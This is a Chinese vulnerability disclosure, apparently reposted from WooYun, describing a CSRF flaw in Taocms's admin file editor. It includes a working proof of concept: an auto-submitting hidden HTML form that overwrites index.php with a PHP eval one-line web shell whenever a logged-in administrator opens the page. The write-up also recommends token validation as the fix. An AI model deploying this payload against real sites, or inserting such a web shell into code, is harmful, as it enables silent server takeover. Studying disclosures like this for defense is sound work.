无token,所以可以通过交互管理员进行Csrf-getshell,全程只需要管理员点击一个网页,不知不觉getshell就自动完成了。
后台有编辑文件功能,可以编辑php文件,植入一句话。
且此功能无token限制,导致可以通过一个Csrf交互来getshell.
POC如下(如运行不正常,为乌云编辑器所致,将中间的空行删去即可):
<form action="http://127.0.0.1/admin/admin.php" method="POST" target="hidden_frame"> <input type="hidden" name="filedata" value="<?php @eval($_REQUEST['wooyun']); include ('config.php'); include(SYS_ROOT.INC.'common.php'); $path=$_SERVER['PATH_INFO'].($_SERVER ['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):''); if(substr($path, 0,1)=='/'){ $path=substr($path,1); } $ctrl=isset($_GET['action'])?$_GET['action']:'run'; if(isset($_GET['createprocess'])) { Index::create html (isset($_GET['id'])?$_GET ['id']:0,$_GET['cat'],$_GET['single']); }else{ Index::$ctrl($path); } ?>" /> <input type="hidden" name="input" value="index.php" /> <input type="hidden" name="name" value="index.php" /> <input type="hidden" name="action" value="file" /> <input type="hidden" name="ctrl" value="save" /> <input type="hidden" name="path" value="index.php" /> </form><iframe style="DISPLAY: none" id=hidden_frame name=hidden_frame></iframe> <script> document.forms[0].submit(); </script>
页面上只是一段简单的文字,但是其实后台已经发起了一次POST请求,在index.php中植入了一句话木马。
修复方案: 后台增加token验证
查看更多关于Taocms无token导致Csrf-getshell - 网站安全 - 自学php的详细内容...